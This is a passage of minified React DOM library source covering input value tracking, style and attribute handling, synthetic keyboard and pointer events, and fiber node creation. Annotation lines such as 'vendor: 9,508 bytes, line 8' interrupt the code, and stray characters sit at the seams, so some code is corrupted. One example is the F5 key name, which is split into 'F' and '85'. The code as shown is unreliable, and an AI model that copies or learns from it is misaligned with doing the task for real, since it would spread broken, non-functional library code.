8037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD][:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*$`),Ct={},wt={};function Tt(e){return ve.call(wt,e)?!0:ve.call(Ct,e)?!1:St.test(e)?wt[e]=!0:(Ct[e]=!0,!1)}function Et(e,t,n){if(Tt(t))if(n===null)e.removeAttribute(t);else{switch(typeof n){case`undefined`:case`function`:case`symbol`:e.removeAttribute(t);return;case`boolean`:var r=t.toLowerCase().slice(0,5);if(r!==`data-`&&r!==`aria-`){e.removeAttribute(t);return}}e.setAttribute(t,``+n)}}function Dt(e,t,n){if(n===null)e.removeAttribute(t);else{switch(typeof n){case`undefined`:case`function`:case`symbol`:case`boolean`:e.removeAttribute(t);return}e.setAttribute(t,``+n)}}function Ot(e,t,n,r){if(r===null)e.removeAttribute(n);else{switch(typeof r){case`undefined`:case`function`:case`symbol`:case`boolean`:e.removeAttribute(n);return}e.setAttributeNS(t,n,``+r)}}function kt(e){switch(typeof e){case`bigint`:case`boolean`:case`number`:case`string`:case`undefined`:return e;case`object`:return e;default:return``}}function V(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()===`input`&&(t===`checkbox`||t===`radio`)}function At(e,t,n){var r=Object.getOwnPropertyDescriptor(e.constructor.prototype,t);if(!e.hasOwnProperty(t)&&r!==void 0&&typeof r.get==`function`&&typeof r.set==`function`){var i=r.get,a=r.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(e){n=``+e,a.call(this,e)}}),Object.defineProperty(e,t,{enumerable:r.enumerable}),{getValue:function(){return n},setValue:function(e){n=``+e},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function jt(e){if(!e._valueTracker){var t=V(e)?`checked`:`value`;e._valueTracker=At(e,t,``+e[t])}}function Mt(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r=``;return e&&(r=V(e)?e.checked?`true`:`false`:e.value),e=r,e===n?!1:(t.setValue(e),!0)}function Nt(e){if(e||=typeof document<`u`?document:void 0,e===void 0)return null;try{return e.activeElement||e.body}catch{return e.body}}var Pt=/[\n"\\]/g;function Ft(e){return e.replace(Pt,function(e){return`\\`+e.charCodeAt(0).toString(16)+` `})}function It(e,t,n,r,i,a,o,s){e.name=``,o!=null&&typeof o!=`function`&&typeof o!=`symbol`&&typeof o!=`boolean`?e.type=o:e.removeAttribute(`type`),t==null?o!==`submit`&&o!==`reset`||e.removeAttribute(`value`):o===`number`?(t===0&&e.value===``||e.value!=t)&&(e.value=``+kt(t)):e.value!==``+kt(t)&&(e.value=``+kt(t)),t==null?n==null?r!=null&&e.removeAttribute(`value`):Rt(e,o,kt(n)):Rt(e,o,kt(t)),i==null&&a!=null&&(e.defaultChecked=!!a),i!=null&&(e.checked=i&&typeof i!=`function`&&typeof i!=`symbol`),s!=null&&typeof s!=`function`&&typeof s!=`symbol`&&typeof s!=`boolean`?e.name=``+kt(s):e.removeAttribute(`name`)}function Lt(e,t,n,r,i,a,o,s){if(a!=null&&typeof a!=`function`&&typeof a!=`symbol`&&typeof a!=`boolean`&&(e.type=a),t!=null||n!=null){if(!(a!==`submit`&&a!==`reset`||t!=null)){jt(e);return}n=n==null?``:``+kt(n),t=t==null?n:``+kt(t),s||t===e.value||(e.value=t),e.defaultValue=t}r??=i,r=typeof r!=`function`&&typeof r!=`symbol`&&!!r,e.checked=s?e.checked:!!r,e.defaultChecked=!!r,o!=null&&typeof o!=`function`&&typeof o!=`symbol`&&typeof o!=`boolean`&&(e.name=o),jt(e)}function Rt(e,t,n){t===`number`&&Nt(e.ownerDocument)===e||e.defaultValue===``+n||(e.defaultValue=``+n)}function zt(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i<n.length;i++)t[`$`+n[i]]=!0;for(n=0;n<e.length;n++)i=t.hasOwnProperty(`$`+e[n].value),e[n].selected!==i&&(e[n].selected=i),i&&r&&(e[n].defaultSelected=!0)}else{for(n=``+kt(n),t=null,i=0;i<e.length;i++){if(e[i].value===n){e[i].selected=!0,r&&(e[i].defaultSelected=!0);return}t!==null||e[i].disabled||(t=e[i])}t!==null&&(t.selected=!0)}}function Bt(e,t,n){if(t!=null&&(t=``+kt(t),t!==e.value&&(e.value=t),n==null)){e.defaultValue!==t&&(e.defaultValue=t);return}e.defaultValue=n==null?``:``+kt(n)}function Vt(e,t,n,r){if(t==null){if(r!=null){if(n!=null)throw Error(i(92));if(F(r)){if(1<r.length)throw Error(i(93));r=r[0]}n=r}n??=``,t=n}
vendor: 9,508 bytes, line 8
8n=kt(t),e.defaultValue=n,r=e.textContent,r===n&&r!==``&&r!==null&&(e.value=r),jt(e)}function Ht(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Ut=new Set(`animationIterationCount aspectRatio borderImageOutset borderImageSlice borderImageWidth boxFlex boxFlexGroup boxOrdinalGroup columnCount columns flex flexGrow flexPositive flexShrink flexNegative flexOrder gridArea gridRow gridRowEnd gridRowSpan gridRowStart gridColumn gridColumnEnd gridColumnSpan gridColumnStart fontWeight lineClamp lineHeight opacity order orphans scale tabSize widows zIndex zoom fillOpacity floodOpacity stopOpacity strokeDasharray strokeDashoffset strokeMiterlimit strokeOpacity strokeWidth MozAnimationIterationCount MozBoxFlex MozBoxFlexGroup MozLineClamp msAnimationIterationCount msFlex msZoom msFlexGrow msFlexNegative msFlexOrder msFlexPositive msFlexShrink msGridColumn msGridColumnSpan msGridRow msGridRowSpan WebkitAnimationIterationCount WebkitBoxFlex WebKitBoxFlexGroup WebkitBoxOrdinalGroup WebkitColumnCount WebkitColumns WebkitFlex WebkitFlexGrow WebkitFlexPositive WebkitFlexShrink WebkitLineClamp`.split(` `));function Wt(e,t,n){var r=t.indexOf(`--`)===0;n==null||typeof n==`boolean`||n===``?r?e.setProperty(t,``):t===`float`?e.cssFloat=``:e[t]=``:r?e.setProperty(t,n):typeof n!=`number`||n===0||Ut.has(t)?t===`float`?e.cssFloat=n:e[t]=(``+n).trim():e[t]=n+`px`}function Gt(e,t,n){if(t!=null&&typeof t!=`object`)throw Error(i(62));if(e=e.style,n!=null){for(var r in n)!n.hasOwnProperty(r)||t!=null&&t.hasOwnProperty(r)||(r.indexOf(`--`)===0?e.setProperty(r,``):r===`float`?e.cssFloat=``:e[r]=``);for(var a in t)r=t[a],t.hasOwnProperty(a)&&n[a]!==r&&Wt(e,a,r)}else for(var o in t)t.hasOwnProperty(o)&&Wt(e,o,t[o])}function Kt(e){if(e.indexOf(`-`)===-1)return!1;switch(e){case`annotation-xml`:case`color-profile`:case`font-face`:case`font-face-src`:case`font-face-uri`:case`font-face-format`:case`font-face-name`:case`missing-glyph`:return!1;default:return!0}}var qt=new Map([[`acceptCharset`,`accept-charset`],[`htmlFor`,`for`],[`httpEquiv`,`http-equiv`],[`crossOrigin`,`crossorigin`],[`accentHeight`,`accent-height`],[`alignmentBaseline`,`alignment-baseline`],[`arabicForm`,`arabic-form`],[`baselineShift`,`baseline-shift`],[`capHeight`,`cap-height`],[`clipPath`,`clip-path`],[`clipRule`,`clip-rule`],[`colorInterpolation`,`color-interpolation`],[`colorInterpolationFilters`,`color-interpolation-filters`],[`colorProfile`,`color-profile`],[`colorRendering`,`color-rendering`],[`dominantBaseline`,`dominant-baseline`],[`enableBackground`,`enable-background`],[`fillOpacity`,`fill-opacity`],[`fillRule`,`fill-rule`],[`floodColor`,`flood-color`],[`floodOpacity`,`flood-opacity`],[`fontFamily`,`font-family`],[`fontSize`,`font-size`],[`fontSizeAdjust`,`font-size-adjust`],[`fontStretch`,`font-stretch`],[`fontStyle`,`font-style`],[`fontVariant`,`font-variant`],[`fontWeight`,`font-weight`],[`glyphName`,`glyph-name`],[`glyphOrientationHorizontal`,`glyph-orientation-horizontal`],[`glyphOrientationVertical`,`glyph-orientation-vertical`],[`horizAdvX`,`horiz-adv-x`],[`horizOriginX`,`horiz-origin-x`],[`imageRendering`,`image-rendering`],[`letterSpacing`,`letter-spacing`],[`lightingColor`,`lighting-color`],[`markerEnd`,`marker-end`],[`markerMid`,`marker-mid`],[`markerStart`,`marker-start`],[`overlinePosition`,`overline-position`],[`overlineThickness`,`overline-thickness`],[`paintOrder`,`paint-order`],[`panose-1`,`panose-1`],[`pointerEvents`,`pointer-events`],[`renderingIntent`,`rendering-intent`],[`shapeRendering`,`shape-rendering`],[`stopColor`,`stop-color`],[`stopOpacity`,`stop-opacity`],[`strikethroughPosition`,`strikethrough-position`],[`strikethroughThickness`,`strikethrough-thickness`],[`strokeDasharray`,`stroke-dasharray`],[`strokeDashoffset`,`stroke-dashoffset`],[`strokeLinecap`,`stroke-linecap`],[`strokeLinejoin`,`stroke-linejoin`],[`strokeMiterlimit`,`stroke-miterlimit`],[`strokeOpacity`,`stroke-opacity`],[`strokeWidth`,`stroke-width`],[`textAnchor`,`text-anchor`],[`textDecoration`,`text-decoration`],[`textRendering`,`text-rendering`],[`transformOrigin`,`transform-origin`],[`underlinePosition`,`underline-position`],[`underlineThickness`,`underline-thickness`],[`unicodeBidi`,`unicode-bidi`],[`unicodeRange`,`unicode-range`],[`unitsPerEm`,`units-per-em`],[`vAlphabetic`,`v-alphabetic`],[`vHanging`,`v-hanging`],[`vIdeographic`,`v-ideographic`],[`vMathematical`,`v-mathematical`],[`vectorEffect`,`vector-effect`],[`vertAdvY`,`vert-adv-y`],[`vertOriginX`,`vert-origin-x`],[`vertOriginY`,`vert-origin-y`],[`wordSpacing`,`word-spacing`],[`writingMode`,`writing-mode`],[`xmlnsXlink`,`xmlns:xlink`],[`xHeight`,`x-height`]]),Jt=/^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*:/i;function Yt(e){return Jt.test(``+e)?`javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')`:e}function Xt(){}var Zt=null;function Qt(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var $t=null,en=null;function tn(e){var t=mt(e);if(t&&(e=t.stateNode)){var n=e[at]||null;a:switch(e=t.stateNode,t.type){case`input`:if(It(e,n.value,n.defaultValue,n.defaultValue,n.checked,n.defaultChecked,n.type,n.name),t=n.name,n.type===`radio`&&t!=null){for(n=e;n.parentNode;)n=n.parentNode;for(n=n.querySelectorAll(`input[name="`+Ft(``+t)+`"][type="radio"]`),t=0;t<n.length;t++){var r=n[t];if(r!==e&&r.form===e.form){var a=r[at]||null;if(!a)throw Error(i(90));It(r,a.value,a.defaultValue,a.defaultValue,a.checked,a.defaultChecked,a.type,a.name)}}for(t=0;t<n.length;t++)r=n[t],r.form===e.form&&Mt(r)}break a;case`textarea`:Bt(e,n.value,n.defaultValue);break a;case`select`:t=n.value,t!=null&&zt(e,!!n.multiple,t,!1)}}}var nn=!1;function rn(e,t,n){if(nn)return e(t,n);nn=!0;try{return e(t)}finally{if(nn=!1,($t!==null||en!==null)&&(yu(),$t&&(t=$t,e=en,en=$t=null,tn(t),e)))for(t=0;t<e.length;t++)tn(e[t])}}function an(e,t){var n=e.stateNode;if(n===null)return null;var r=n[at]||null;if(r===null)return null;n=r[t];a:switch(t){case`onClick`:case`onClickCapture`:case`onDoubleClick`:case`onDoubleClickCapture`:case`onMouseDown`:case`onMouseDownCapture`:case`onMouseMove`:case`onMouseMoveCapture`:case`onMouseUp`:case`onMouseUpCapture`:case`onMouseEnter`:(r=!r.disabled)||(e=e.type,r=!(e===`button`||e===`input`||e===`select`||e===`textarea`)),e=!r;break a;default:e=!1}if(e)return null;if(n&&typeof n!=`function`)throw Error(i(231,t,typeof n));return n}var on=!(typeof window>`u`||window.document===void 0||window.document.createElement===void 0),sn=!1;if(on)try{var cn={};Object.defineProperty(cn,`passive`,{get:function(){sn=!0}}),window.addEventListener(`test`,cn,cn),window.removeEventListener(`test`,cn,cn)}catch{sn=!1}var ln=null,un=null,dn=null;function fn(){if(dn)return dn;var e,t=un,n=t.length,r,i=`value`in ln?ln.value:ln.textContent,a=i.length;for(e=0;e<n&&t[e]===i[e];e++);var o=n-e;for(r=1;r<=o&&t[n-r]===i[a-r];r++);return dn=i.slice(e,1<r?1-r:void 0)}function pn(e){var t=e.keyCode;return`charCode`in e?(e=e.charCode,e===0&&t===13&&(e=13)):e=t,e===10&&(e=13),32<=e||e===13?e:0}function mn(){return!0}function hn(){return!1}function gn(e){function t(t,n,r,i,a){for(var o in this._reactName=t,this._targetInst=r,this.type=n,this.nativeEvent=i,this.target=a,this.currentTarget=null,e)e.hasOwnProperty(o)&&(t=e[o],this[o]=t?t(i):i[o]);return this.isDefaultPrevented=(i.defaultPrevented==null?!1===i.returnValue:i.defaultPrevented)?mn:hn,this.isPropagationStopped=hn,this}return h(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():typeof e.returnValue!=`unknown`&&(e.returnValue=!1),this.isDefaultPrevented=mn)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():typeof e.cancelBubble!=`unknown`&&(e.cancelBubble=!0),this.isPropagationStopped=mn)},persist:function(){},isPersistent:mn}),t}var _n={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},vn=gn(_n),yn=h({},_n,{view:0,detail:0}),bn=gn(yn),xn,Sn,Cn,wn=h({},yn,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Fn,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return`movementX`in e?e.movementX:(e!==Cn&&(Cn&&e.type===`mousemove`?(xn=e.screenX-Cn.screenX,Sn=e.screenY-Cn.screenY):Sn=xn=0,Cn=e),xn)},movementY:function(e){return`movementY`in e?e.movementY:Sn}}),Tn=gn(wn),En=gn(h({},wn,{dataTransfer:0})),Dn=gn(h({},yn,{relatedTarget:0})),On=gn(h({},_n,{animationName:0,elapsedTime:0,pseudoElement:0})),kn=gn(h({},_n,{clipboardData:function(e){return`clipboardData`in e?e.clipboardData:window.clipboardData}})),An=gn(h({},_n,{data:0})),jn={Esc:`Escape`,Spacebar:` `,Left:`ArrowLeft`,Up:`ArrowUp`,Right:`ArrowRight`,Down:`ArrowDown`,Del:`Delete`,Win:`OS`,Menu:`ContextMenu`,Apps:`ContextMenu`,Scroll:`ScrollLock`,MozPrintableKey:`Unidentified`},Mn={8:`Backspace`,9:`Tab`,12:`Clear`,13:`Enter`,16:`Shift`,17:`Control`,18:`Alt`,19:`Pause`,20:`CapsLock`,27:`Escape`,32:` `,33:`PageUp`,34:`PageDown`,35:`End`,36:`Home`,37:`ArrowLeft`,38:`ArrowUp`,39:`ArrowRight`,40:`ArrowDown`,45:`Insert`,46:`Delete`,112:`F1`,113:`F2`,114:`F3`,115:`F4`,116:`F
85`,117:`F6`,118:`F7`,119:`F8`,120:`F9`,121:`F10`,122:`F11`,123:`F12`,144:`NumLock`,145:`ScrollLock`,224:`Meta`},Nn={Alt:`altKey`,Control:`ctrlKey`,Meta:`metaKey`,Shift:`shiftKey`};function Pn(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=Nn[e])?!!t[e]:!1}function Fn(){return Pn}var In=gn(h({},yn,{key:function(e){if(e.key){var t=jn[e.key]||e.key;if(t!==`Unidentified`)return t}return e.type===`keypress`?(e=pn(e),e===13?`Enter`:String.fromCharCode(e)):e.type===`keydown`||e.type===`keyup`?Mn[e.keyCode]||`Unidentified`:``},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Fn,charCode:function(e){return e.type===`keypress`?pn(e):0},keyCode:function(e){return e.type===`keydown`||e.type===`keyup`?e.keyCode:0},which:function(e){return e.type===`keypress`?pn(e):e.type===`keydown`||e.type===`keyup`?e.keyCode:0}})),Ln=gn(h({},wn,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0})),Rn=gn(h({},yn,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Fn})),zn=gn(h({},_n,{propertyName:0,elapsedTime:0,pseudoElement:0})),Bn=gn(h({},wn,{deltaX:function(e){return`deltaX`in e?e.deltaX:`wheelDeltaX`in e?-e.wheelDeltaX:0},deltaY:function(e){return`deltaY`in e?e.deltaY:`wheelDeltaY`in e?-e.wheelDeltaY:`wheelDelta`in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0})),H=gn(h({},_n,{newState:0,oldState:0})),Vn=[9,13,27,32],Hn=on&&`CompositionEvent`in window,Un=null;on&&`documentMode`in document&&(Un=document.documentMode);var Wn=on&&`TextEvent`in window&&!Un,Gn=on&&(!Hn||Un&&8<Un&&11>=Un),Kn=` `,qn=!1;function Jn(e,t){switch(e){case`keyup`:return Vn.indexOf(t.keyCode)!==-1;case`keydown`:return t.keyCode!==229;case`keypress`:case`mousedown`:case`focusout`:return!0;default:return!1}}function Yn(e){return e=e.detail,typeof e==`object`&&`data`in e?e.data:null}var Xn=!1;function Zn(e,t){switch(e){case`compositionend`:return Yn(t);case`keypress`:return t.which===32?(qn=!0,Kn):null;case`textInput`:return e=t.data,e===Kn&&qn?null:e;default:return null}}function Qn(e,t){if(Xn)return e===`compositionend`||!Hn&&Jn(e,t)?(e=fn(),dn=un=ln=null,Xn=!1,e):null;switch(e){case`paste`:return null;case`keypress`:if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case`compositionend`:return Gn&&t.locale!==`ko`?null:t.data;default:return null}}var $n={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function er(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t===`input`?!!$n[e.type]:t===`textarea`}function tr(e,t,n,r){$t?en?en.push(r):en=[r]:$t=r,t=Td(t,`onChange`),0<t.length&&(n=new vn(`onChange`,`change`,null,n,r),e.push({event:n,listeners:t}))}var nr=null,U=null;function rr(e){vd(e,0)}function ir(e){if(Mt(ht(e)))return e}function ar(e,t){if(e===`change`)return t}var or=!1;if(on){var sr;if(on){var cr=`oninput`in document;if(!cr){var lr=document.createElement(`div`);lr.setAttribute(`oninput`,`return;`),cr=typeof lr.oninput==`function`}sr=cr}else sr=!1;or=sr&&(!document.documentMode||9<document.documentMode)}function W(){nr&&(nr.detachEvent(`onpropertychange`,ur),U=nr=null)}function ur(e){if(e.propertyName===`value`&&ir(U)){var t=[];tr(t,U,e,Qt(e)),rn(rr,t)}}function dr(e,t,n){e===`focusin`?(W(),nr=t,U=n,nr.attachEvent(`onpropertychange`,ur)):e===`focusout`&&W()}function fr(e){if(e===`selectionchange`||e===`keyup`||e===`keydown`)return ir(U)}function pr(e,t){if(e===`click`)return ir(t)}function mr(e,t){if(e===`input`||e===`change`)return ir(t)}function hr(e,t){return e===t&&(e!==0||1/e==1/t)||e!==e&&t!==t}var gr=typeof Object.is==`function`?Object.is:hr;function _r(e,t){if(gr(e,t))return!0;if(typeof e!=`object`||!e||typeof t!=`object`||!t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++){var i=n[r];if(!ve.call(t,i)||!gr(e[i],t[i]))return!1}return!0}function vr(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function yr(e,t){var n=vr(e);e=0;for(var r;n;){if(n.nodeType===3){if(r=e+n.textContent.length,e<=t&&r>=t)return{node:n,offset:t-e};e=r}a:{for(;n;){if(n.nextSibling){n=n.nextSibling;break a}n=n.parentNode}n=void 0}n=vr(n)}}function br(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?br(e,t.parentNode):`contains`in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function xr(e){e=e!=null&&e.ownerDocument!=null&&e.ownerDocument.defaultView!=null?e.ownerDocument.defaultView:window;for(var t=Nt(e.document);t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href==`string`}catch{n=!1}if(n)e=t.contentWindow;else break;t=Nt(e.document)}return t}function Sr(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t===`input`&&(e.type===`text`||e.type===`search`||e.type===`tel`||e.type===`url`||e.type===`password`)||t===`textarea`||e.contentEditable===`true`)}var Cr=on&&`documentMode`in document&&11>=document.documentMode,wr=null,Tr=null,Er=null,Dr=!1;function Or(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Dr||wr==null||wr!==Nt(r)||(r=wr,`selectionStart`in r&&Sr(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focu
vendor: 76,600 bytes, line 8
8sNode:r.focusNode,focusOffset:r.focusOffset}),Er&&_r(Er,r)||(Er=r,r=Td(Tr,`onSelect`),0<r.length&&(t=new vn(`onSelect`,`select`,null,t,n),e.push({event:t,listeners:r}),t.target=wr)))}function kr(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n[`Webkit`+e]=`webkit`+t,n[`Moz`+e]=`moz`+t,n}var Ar={animationend:kr(`Animation`,`AnimationEnd`),animationiteration:kr(`Animation`,`AnimationIteration`),animationstart:kr(`Animation`,`AnimationStart`),transitionrun:kr(`Transition`,`TransitionRun`),transitionstart:kr(`Transition`,`TransitionStart`),transitioncancel:kr(`Transition`,`TransitionCancel`),transitionend:kr(`Transition`,`TransitionEnd`)},jr={},Mr={};on&&(Mr=document.createElement(`div`).style,`AnimationEvent`in window||(delete Ar.animationend.animation,delete Ar.animationiteration.animation,delete Ar.animationstart.animation),`TransitionEvent`in window||delete Ar.transitionend.transition);function Nr(e){if(jr[e])return jr[e];if(!Ar[e])return e;var t=Ar[e],n;for(n in t)if(t.hasOwnProperty(n)&&n in Mr)return jr[e]=t[n];return e}var Pr=Nr(`animationend`),Fr=Nr(`animationiteration`),Ir=Nr(`animationstart`),Lr=Nr(`transitionrun`),Rr=Nr(`transitionstart`),zr=Nr(`transitioncancel`),Br=Nr(`transitionend`),Vr=new Map,Hr=`abort auxClick beforeToggle cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel`.split(` `);Hr.push(`scrollEnd`);function Ur(e,t){Vr.set(e,t),bt(t,[e])}var Wr=typeof reportError==`function`?reportError:function(e){if(typeof window==`object`&&typeof window.ErrorEvent==`function`){var t=new window.ErrorEvent(`error`,{bubbles:!0,cancelable:!0,message:typeof e==`object`&&e&&typeof e.message==`string`?String(e.message):String(e),error:e});if(!window.dispatchEvent(t))return}else if(typeof process==`object`&&typeof process.emit==`function`){process.emit(`uncaughtException`,e);return}console.error(e)},Gr=[],Kr=0,qr=0;function Jr(){for(var e=Kr,t=qr=Kr=0;t<e;){var n=Gr[t];Gr[t++]=null;var r=Gr[t];Gr[t++]=null;var i=Gr[t];Gr[t++]=null;var a=Gr[t];if(Gr[t++]=null,r!==null&&i!==null){var o=r.pending;o===null?i.next=i:(i.next=o.next,o.next=i),r.pending=i}a!==0&&Qr(n,i,a)}}function Yr(e,t,n,r){Gr[Kr++]=e,Gr[Kr++]=t,Gr[Kr++]=n,Gr[Kr++]=r,qr|=r,e.lanes|=r,e=e.alternate,e!==null&&(e.lanes|=r)}function Xr(e,t,n,r){return Yr(e,t,n,r),$r(e)}function Zr(e,t){return Yr(e,null,null,t),$r(e)}function Qr(e,t,n){e.lanes|=n;var r=e.alternate;r!==null&&(r.lanes|=n);for(var i=!1,a=e.return;a!==null;)a.childLanes|=n,r=a.alternate,r!==null&&(r.childLanes|=n),a.tag===22&&(e=a.stateNode,e===null||e._visibility&1||(i=!0)),e=a,a=a.return;return e.tag===3?(a=e.stateNode,i&&t!==null&&(i=31-Fe(n),e=a.hiddenUpdates,r=e[i],r===null?e[i]=[t]:r.push(t),t.lane=n|536870912),a):null}function $r(e){if(50<uu)throw uu=0,du=null,Error(i(185));for(var t=e.return;t!==null;)e=t,t=e.return;return e.tag===3?e.stateNode:null}var ei={};function ti(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.refCleanup=this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function ni(e,t,n,r){return new ti(e,t,n,r)}function ri(e){return e=e.prototype,!(!e||!e.isReactComponent)}function ii(e,t){var n=e.alternate;return n===null?(n=ni(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&65011712,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n.refCleanup=e.refCleanup,n}function ai(e,t){e.flags&=65011714;var n=e.alternate;return n===null?(e.childLanes=0,e.lanes=t,e.child=null,e.subtreeFlags=0,e.memoizedProps=null,e.memoizedState=null,e.updateQueue=null,e.dependencies=null,e.stateNode=null):(e.childLanes=n.childLanes,e.lanes=n.lanes,e.child=n.child,e.subtreeFlags=0,e.deletions=null,e.memoizedProps=n.memoizedProps,e.memoizedState=n.memoizedState,e.updateQueue=n.updateQueue,e.type=n.type,t=n.dependencies,e.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext}),e}function oi(e,t,n,r,a,o){var s=0;if(r=e,typeof e==`function`)ri(e)&&(s=1);else if(typeof e==`string`)s=Uf(e,n,re.current)?26:e===`html`||e===`head`||e===`body`?27:5;else a:switch(e){case k:return e=ni(31,n,t,a),e.elementType=k,e.lanes=o,e;case y:return si(n.children,a,o,t);case b:s=8,a|=24;break;case x:return e=ni(12,n,t,a|2),e.elementType=x,e.lanes=o,e;case T:return e=ni(13,n,t,a),e.elementType=T,e.lanes=o,e;case E:return e=ni(19,n,t,a),e.elementType=E,e.lanes=o,e;default:if(typeof e==`object`&&e)switch(e.$$typeof){case C:s=10;break a;case S:s=9;break a;case w:s=11;break a;case D:s=14;break a;case O:s=16,r=null;break a}s=29,n=Error(i(130,e===null?`null`:typeof e,``)),r=null}return t=ni(s,n,t,a),t.elementType=e,t.type=r,t.lanes=o,t}function si(e,t,n,r){return e=ni(7,e,r,t),e.lanes=n,e}function ci(e,t,n){return e=ni(6,e,null,t),e.lanes=n,e}function li(e){var t=ni(18,null,null,0);return t.stateNode=e,t}function ui(e,t,n){return t=ni(4,e.children===null?[]:e.children,e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}var di=new WeakMap;function fi(e,t){if(typeof e==`object`&&e){var n=di.get(e);return n===void 0?(t={value:e,source:t,stack:_e(t)},di.set(e,t),t):n}return{value:e,source:t,stack:_e(t)}}var pi=[],mi=0,hi=null,gi=0,_i=[],vi=0,yi=null,bi=1,xi=``;function Si(e,t){pi[mi++]=gi,pi[mi++]=hi,hi=e,gi=t}function Ci(e,t,n){_i[vi++]=bi,_i[vi++]=xi,_i[vi++]=yi,yi=e;var r=bi;e=xi;var i=32-Fe(r)-1;r&=~(1<<i),n+=1;var a=32-Fe(t)+i;if(30<a){var o=i-i%5;a=(r&(1<<o)-1).toString(32),r>>=o,i-=o,bi=1<<32-Fe(t)+i|n<<i|r,xi=a+e}else bi=1<<a|n<<i|r,xi=e}function wi(e){e.return!==null&&(Si(e,1),Ci(e,1,0))}function Ti(e){for(;e===hi;)hi=pi[--mi],pi[mi]=null,gi=pi[--mi],pi[mi]=null;for(;e===yi;)yi=_i[--vi],_i[vi]=null,xi=_i[--vi],_i[vi]=null,bi=_i[--vi],_i[vi]=null}function Ei(e,t){_i[vi++]=bi,_i[vi++]=xi,_i[vi++]=yi,bi=t.id,xi=t.overflow,yi=e}var Di=null,Oi=null,G=!1,ki=null,Ai=!1,ji=Error(i(519));function 